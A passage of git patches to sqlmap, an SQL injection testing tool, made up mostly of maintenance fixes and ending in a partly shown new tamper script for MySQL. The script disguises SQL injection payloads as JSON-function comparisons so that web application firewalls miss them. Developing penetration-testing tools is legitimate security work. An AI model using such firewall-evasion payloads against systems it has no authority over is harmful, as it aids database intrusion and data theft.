"getDbs", "getTables", "getColumns", "getSchema", From 3d2f89345f4ced4fc8de7fb0d3a66c97c5274831 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Nov 2022 15:05:34 +0100 Subject: [PATCH 082/599] Fixes #5242 --- lib/core/settings.py | 2 +- lib/request/httpshandler.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 909a7ffbbcd..a0803c089fa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.8" +VERSION = "1.6.11.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 3bac276d5d7..d862d088560 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -69,7 +69,7 @@ def create_sock(): sock = create_sock() if protocol not in _contexts: _contexts[protocol] = ssl.SSLContext(protocol) - if getattr(self, "cert_file") and getattr(self, "key_file"): + if getattr(self, "cert_file", None) and getattr(self, "key_file", None): _contexts[protocol].load_cert_chain(certfile=self.cert_file, keyfile=self.key_file) try: # Reference(s): https://askubuntu.com/a/1263098 From ad529f24cb631fc42298d045dd4e63ad05e93a3e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Nov 2022 15:12:18 +0100 Subject: [PATCH 083/599] Minor update --- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ lib/techniques/union/use.py | 2 +- 3 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a0803c089fa..ead5d26f8be 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.9" +VERSION = "1.6.11.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 004e695fa21..9b809baa655 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -839,6 +839,9 @@ def cmdLineParser(argv=None): parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", help=SUPPRESS) + parser.add_argument("--disable-json", dest="disableJson", action="store_true", + help=SUPPRESS) + # API options parser.add_argument("--api", dest="api", action="store_true", help=SUPPRESS) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index b77cc646d01..868cae4efaf 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -252,7 +252,7 @@ def unionUse(expression, unpack=True, dump=False): debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial)): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)): match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT)\(", expression): kb.jsonAggMode = True From 33a6547f5b8362c7fc5c9dd6e04f1ee0aa1a73c7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 6 Dec 2022 11:55:03 +0100 Subject: [PATCH 084/599] Fixes #5252 --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- lib/request/basic.py | 15 ++++++++------- 3 files changed, 10 insertions(+), 9 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index d740e572c64..29570dcdbb2 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2097,7 +2097,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.lastParserStatus = None kb.locks = AttribDict() - for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"): + for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() kb.matchRatio = None diff --git a/lib/core/settings.py b/lib/core/settings.py index ead5d26f8be..60442403b04 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.10" +VERSION = "1.6.12.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index ae3bc2353cf..37ae92d0c46 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -401,13 +401,14 @@ def processResponse(page, responseHeaders, code=None, status=None): if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT: rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page[:HEURISTIC_PAGE_SIZE_THRESHOLD]) - identYwaf.non_blind.clear() - if identYwaf.non_blind_check(rawResponse, silent=True): - for waf in identYwaf.non_blind: - if waf not in kb.identifiedWafs: - kb.identifiedWafs.add(waf) - errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) - singleTimeLogMessage(errMsg, logging.CRITICAL) + with kb.locks.identYwaf: + identYwaf.non_blind.clear() + if identYwaf.non_blind_check(rawResponse, silent=True): + for waf in set(identYwaf.non_blind): + if waf not in kb.identifiedWafs: + kb.identifiedWafs.add(waf) + errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) + singleTimeLogMessage(errMsg, logging.CRITICAL) if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): From ebaee3a4e6b32877874f2676397cc7f3bf3ed756 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Dec 2022 15:24:27 +0100 Subject: [PATCH 085/599] Minor patch for #5255 --- lib/core/common.py | 5 ++++- lib/core/settings.py | 2 +- sqlmap.py | 5 ++++- 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 8f29e086a0e..4be6a9b8197 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1034,7 +1034,10 @@ def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=C except UnicodeEncodeError: sys.stdout.write(re.sub(r"[^ -~]", '?', clearColors(data))) finally: - sys.stdout.flush() + try: + sys.stdout.flush() + except IOError: + raise SystemExit if multiThreadMode: logging._releaseLock() diff --git a/lib/core/settings.py b/lib/core/settings.py index 60442403b04..c2dc6970781 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.0" +VERSION = "1.6.12.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 7c7e14ebd4e..43b0fee8f7c 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -250,7 +250,10 @@ def main(): raise SystemExit except KeyboardInterrupt: - print() + try: + print() + except IOError: + pass except EOFError: print() From 86ac3025edb83ce49d563b6787df4fc6ca305ce6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Dec 2022 23:42:24 +0100 Subject: [PATCH 086/599] Improving SQLite table schema parsing (#2678) --- data/xml/queries.xml | 4 ++-- extra/vulnserver/vulnserver.py | 3 ++- lib/core/common.py | 28 ++++++++++++++++++++++++---- lib/core/settings.py | 2 +- 4 files changed, 29 insertions(+), 8 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 75f6edf9536..deda4364d9c 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -357,8 +357,8 @@ - - + + diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index f7211e61cee..37d7df3c3be 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -44,7 +44,8 @@ CREATE TABLE users ( id INTEGER, name TEXT, - surname TEXT + surname TEXT, + PRIMARY KEY (id) ); INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset'); INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny'); diff --git a/lib/core/common.py b/lib/core/common.py index 4be6a9b8197..cdf0c850723 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3402,19 +3402,39 @@ def parseSqliteTableSchema(value): >>> kb.data.cachedColumns = {} >>> parseSqliteTableSchema("CREATE TABLE users(\\n\\t\\tid INTEGER,\\n\\t\\tname TEXT\\n);") True - >>> repr(kb.data.cachedColumns).count(',') == 1 + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('id', 'INTEGER'), ('name', 'TEXT')) + True + >>> parseSqliteTableSchema("CREATE TABLE dummy(`foo bar` BIGINT, \\"foo\\" VARCHAR, 'bar' TEXT)"); + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('foo bar', 'BIGINT'), ('foo', 'VARCHAR'), ('bar', 'TEXT')) + True + >>> parseSqliteTableSchema("CREATE TABLE suppliers(\\n\\tsupplier_id INTEGER PRIMARY KEY DESC,\\n\\tname TEXT NOT NULL\\n);"); + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('supplier_id', 'INTEGER'), ('name', 'TEXT')) + True + >>> parseSqliteTableSchema("CREATE TABLE country_languages (\\n\\tcountry_id INTEGER NOT NULL,\\n\\tlanguage_id INTEGER NOT NULL,\\n\\tPRIMARY KEY (country_id, language_id),\\n\\tFOREIGN KEY (country_id) REFERENCES countries (country_id) ON DELETE CASCADE ON UPDATE NO ACTION,\\tFOREIGN KEY (language_id) REFERENCES languages (language_id) ON DELETE CASCADE ON UPDATE NO ACTION);"); + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('country_id', 'INTEGER'), ('language_id', 'INTEGER')) True """ retVal = False + value = extractRegexResult(r"(?s)\((?P.+)\)", value) + if value: table = {} - columns = {} + columns = OrderedDict() + + value = re.sub(r"\(.+?\)", "", value).strip() - for match in re.finditer(r"[(,]\s*[\"'`]?(\w+)[\"'`]?(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I): + for match in re.finditer(r"(?:\A|,)\s*(([\"'`]).+?\2|\w+)(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I): + column = match.group(1).strip(match.group(2) or "") + if re.search(r"(?i)\A(CONSTRAINT|PRIMARY|UNIQUE|CHECK|FOREIGN)\b", column.strip()): + continue retVal = True - columns[match.group(1)] = match.group(2) or "TEXT" + + columns[column] = match.group(3) or "TEXT" table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns kb.data.cachedColumns[conf.db] = table diff --git a/lib/core/settings.py b/lib/core/settings.py index c2dc6970781..53097ec3121 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.1" +VERSION = "1.6.12.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 76202e565d286dc32c101bf2dcf2710116bae7f9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Dec 2022 23:52:04 +0100 Subject: [PATCH 087/599] Fixes #5258 --- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 53097ec3121..a1a72531b0d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.2" +VERSION = "1.6.12.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 84ec25e4d38..5c0a207aa38 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -308,7 +308,7 @@ def getPage(**kwargs): threadData.lastRequestUID = kb.requestCounter if conf.proxyFreq: - if kb.requestCounter % conf.proxyFreq == 1: + if kb.requestCounter % conf.proxyFreq == 0: conf.proxy = None warnMsg = "changing proxy" From 7c9e4c4a653b3e63fb7a341e5f55a3e7e2d5f3cd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 14 Dec 2022 00:32:35 +0100 Subject: [PATCH 088/599] Fixes #5164 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index cdf0c850723..9fd6ff5f180 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1822,7 +1822,7 @@ def expandAsteriskForColumns(expression): the SQL query string (expression) """ - match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+((`[^`]+`|[^\s]+)+)", expression) + match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+([`'\"][^`'\"]+[`'\"]|\w+)(\s|\Z)", expression) if match: infoMsg = "you did not provide the fields in your query. " diff --git a/lib/core/settings.py b/lib/core/settings.py index a1a72531b0d..1699fce8f35 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.3" +VERSION = "1.6.12.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From a11f79e16f99ff624f07288019cadc78d43bf286 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 14 Dec 2022 00:35:27 +0100 Subject: [PATCH 089/599] One more update regarding #5164 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 9fd6ff5f180..9a28c99f985 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1822,7 +1822,7 @@ def expandAsteriskForColumns(expression): the SQL query string (expression) """ - match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+([`'\"][^`'\"]+[`'\"]|\w+)(\s|\Z)", expression) + match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.]+)+)(\s|\Z)", expression) if match: infoMsg = "you did not provide the fields in your query. " diff --git a/lib/core/settings.py b/lib/core/settings.py index 1699fce8f35..65b27b16ff6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.4" +VERSION = "1.6.12.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b7411211af01f302dcbec3d2a0e751f971fe7f28 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 17 Dec 2022 14:46:00 +0100 Subject: [PATCH 090/599] Fixes #5262 --- lib/core/settings.py | 2 +- lib/utils/api.py | 25 +++++++++++++++---------- 2 files changed, 16 insertions(+), 11 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 65b27b16ff6..b81a77880ed 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.5" +VERSION = "1.6.12.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/api.py b/lib/utils/api.py index 363b5bea23b..6fa8c0ab2a6 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -17,6 +17,7 @@ import sqlite3 import sys import tempfile +import threading import time from lib.core.common import dataToStdout @@ -88,6 +89,7 @@ def __init__(self, database=None): def connect(self, who="server"): self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None, check_same_thread=False) self.cursor = self.connection.cursor() + self.lock = threading.Lock() logger.debug("REST-JSON API %s connected to IPC database" % who) def disconnect(self): @@ -101,17 +103,20 @@ def commit(self): self.connection.commit() def execute(self, statement, arguments=None): - while True: - try: - if arguments: - self.cursor.execute(statement, arguments) + with self.lock: + while True: + try: + if arguments: + self.cursor.execute(statement, arguments) + else: + self.cursor.execute(statement) + except sqlite3.OperationalError as ex: + if "locked" not in getSafeExString(ex): + raise + else: + time.sleep(1) else: - self.cursor.execute(statement) - except sqlite3.OperationalError as ex: - if "locked" not in getSafeExString(ex): - raise - else: - break + break if statement.lstrip().upper().startswith("SELECT"): return self.cursor.fetchall() From e85bc30f95416ee6b9f3a1bf4d5d139d00cbe2d4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 20 Dec 2022 13:29:37 +0100 Subject: [PATCH 091/599] Fixes #5267 --- lib/core/settings.py | 2 +- sqlmap.py | 5 +++++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b81a77880ed..b3b068cd551 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.6" +VERSION = "1.6.12.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 43b0fee8f7c..93bc145aaa9 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -498,6 +498,11 @@ def main(): logger.critical(errMsg) raise SystemExit + elif "database disk image is malformed" in excMsg: + errMsg = "local session file seems to be malformed. Please rerun with '--flush-session'" + logger.critical(errMsg) + raise SystemExit + elif "AttributeError: 'module' object has no attribute 'F_GETFD'" in excMsg: errMsg = "invalid runtime (\"%s\") " % excMsg.split("Error: ")[-1].strip() errMsg += "(Reference: 'https://stackoverflow.com/a/38841364' & 'https://bugs.python.org/issue24944#msg249231')" From 4cd146cc86517005c76f8b178783de25cccf8b58 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 21 Dec 2022 14:03:40 +0100 Subject: [PATCH 092/599] Fix for masking of sensitive data --- lib/core/common.py | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 9a28c99f985..bf2006d72bf 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4033,7 +4033,7 @@ def maskSensitiveData(msg): >>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') == 'python sqlmap.py -u *********************************** --banner' True - >>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index') == 'sqlmap.py -u **************************' + >>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index --auth-type=basic --auth-creds=foo:bar\\ndummy line') == 'sqlmap.py -u ************************** --auth-type=***** --auth-creds=*******\\ndummy line' True """ @@ -4049,7 +4049,7 @@ def maskSensitiveData(msg): retVal = retVal.replace(value, '*' * len(value)) # Just in case (for problematic parameters regarding user encoding) - for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal): + for match in re.finditer(r"(?im)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|$)", retVal): retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) # Fail-safe substitutions diff --git a/lib/core/settings.py b/lib/core/settings.py index b3b068cd551..ff2595d5f28 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.7" +VERSION = "1.6.12.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From dd4010f16f7843096feaef1c70d5a06a4f96569e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 23 Dec 2022 15:49:08 +0100 Subject: [PATCH 093/599] Fixes #5268 --- lib/core/compat.py | 40 +++++++++++++++++++++++++++++++++++----- lib/core/settings.py | 2 +- 2 files changed, 36 insertions(+), 6 deletions(-) diff --git a/lib/core/compat.py b/lib/core/compat.py index 7275ea07d46..6a7a4076914 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -12,6 +12,7 @@ import math import os import random +import re import sys import time import uuid @@ -277,8 +278,37 @@ def __hash__(self): xrange = xrange buffer = buffer -try: - from packaging import version - LooseVersion = version.parse -except ImportError: - from distutils.version import LooseVersion +def LooseVersion(version): + """ + >>> LooseVersion("1.0") == LooseVersion("1.0") + True + >>> LooseVersion("1.0.1") > LooseVersion("1.0") + True + >>> LooseVersion("1.0.1-") == LooseVersion("1.0.1") + True + >>> LooseVersion("1.0.11") < LooseVersion("1.0.111") + True + >>> LooseVersion("foobar") > LooseVersion("1.0") + False + >>> LooseVersion("1.0") > LooseVersion("foobar") + False + >>> LooseVersion("3.22-mysql") == LooseVersion("3.22-mysql-ubuntu0.3") + True + >>> LooseVersion("8.0.22-0ubuntu0.20.04.2") + 8.000022 + """ + + match = re.search(r"\A(\d[\d.]*)", version or "") + + if match: + result = 0 + value = match.group(1) + weight = 1.0 + for part in value.strip('.').split('.'): + if part.isdigit(): + result += int(part) * weight + weight *= 1e-3 + else: + result = float("NaN") + + return result diff --git a/lib/core/settings.py b/lib/core/settings.py index ff2595d5f28..7e034673f3a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.8" +VERSION = "1.6.12.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 12e3ed14ae310608293aadeeff53760366bc3556 Mon Sep 17 00:00:00 2001 From: noamiscool <119214136+noamiscool@users.noreply.github.com> Date: Fri, 23 Dec 2022 16:52:49 +0200 Subject: [PATCH 094/599] JSON WAF bypass tamper scripts (#5260) * added JSON waf bypass techniques * added a link for WAF evasion technique blog * Added generic JSON WAF bypass --- doc/THANKS.md | 3 + tamper/json_waf_bypass_mysql.py | 163 ++++++++++++++++++++ tamper/json_waf_bypass_postgres.py | 237 +++++++++++++++++++++++++++++ tamper/json_waf_bypass_sqlite.py | 178 ++++++++++++++++++++++ 4 files changed, 581 insertions(+) create mode 100644 tamper/json_waf_bypass_mysql.py create mode 100644 tamper/json_waf_bypass_postgres.py create mode 100644 tamper/json_waf_bypass_sqlite.py diff --git a/doc/THANKS.md b/doc/THANKS.md index dc49071a915..fdbabaf574f 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -789,6 +789,9 @@ x, zhouhx, * for contributing a minor patch +Noam Moshe Claroty Team82 +* for contributing WAF scripts json_waf_bypass_postgres.py, json_waf_bypass_sqlite.py, json_waf_bypass_mysql.py + # Organizations Black Hat team, diff --git a/tamper/json_waf_bypass_mysql.py b/tamper/json_waf_bypass_mysql.py new file mode 100644 index 00000000000..e2b15d4dc13 --- /dev/null +++ b/tamper/json_waf_bypass_mysql.py @@ -0,0 +1,163 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +# Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison. +pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
+import re, random, string
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+def dependencies():
+    pass
+
+
+
+# Possible int payloads:
+# 1) JSON_LENGTH()
+# 2) json_depth
+# 3) JSON_EXTRACT()
+
+def generate_int_payload():
+    INT_FUNCTIONS = [generate_length_payload, generate_depth_paylod, generate_int_extract_payload]
+    return (random.choice(INT_FUNCTIONS))()
+
+
+# Possible STR payloads:
+# 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
+# 2) JSON_EXTRACT
+# 3) JSON_QUOTE('null')
+
+def generate_str_payload():
+    print("generate_str_payload")
+    STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload]
+    return (random.choice(STR_FUNCTIONS))()
+    return 'JSON_EXTRACT(\'{"a": "1"}\', \'$.a\') = \'1\''
+
+
+def generate_random_string(length=15):
+    str_length = random.randint(1,length)
+    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
+
+def generate_random_int():
+    return random.randint(2, 10000)
+
+
+def generate_length_payload():
+    return f"JSON_LENGTH(\"{{}}\") <= {generate_random_int()}"
+
+
+def generate_depth_paylod():
+    return f"JSON_DEPTH(\"{{}}\") != {generate_random_int()}"
+
+
+def generate_quote_payload():
+    var = generate_random_string()
+    return f"JSON_QUOTE('{var}') = '\"{var}\"'"
+
+
+def generate_int_extract_payload():
+    return generate_extract_payload(isString=False)
+
+
+def generate_str_extract_payload():
+    return generate_extract_payload(isString=True)
+
+
+def generate_extract_payload(isString=False):
+    key = generate_random_string()
+    if isString:
+        value = generate_random_string()
+        return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
+    value = generate_random_int()
+    return f'JSON_EXTRACT("{{\\"{key}\\": {value}}}", "$.{key}") = "{value}"'
+
+
+def generate_payload(isString, isBrackets):
+    payload = '(' if isBrackets else ""
+    if isString:
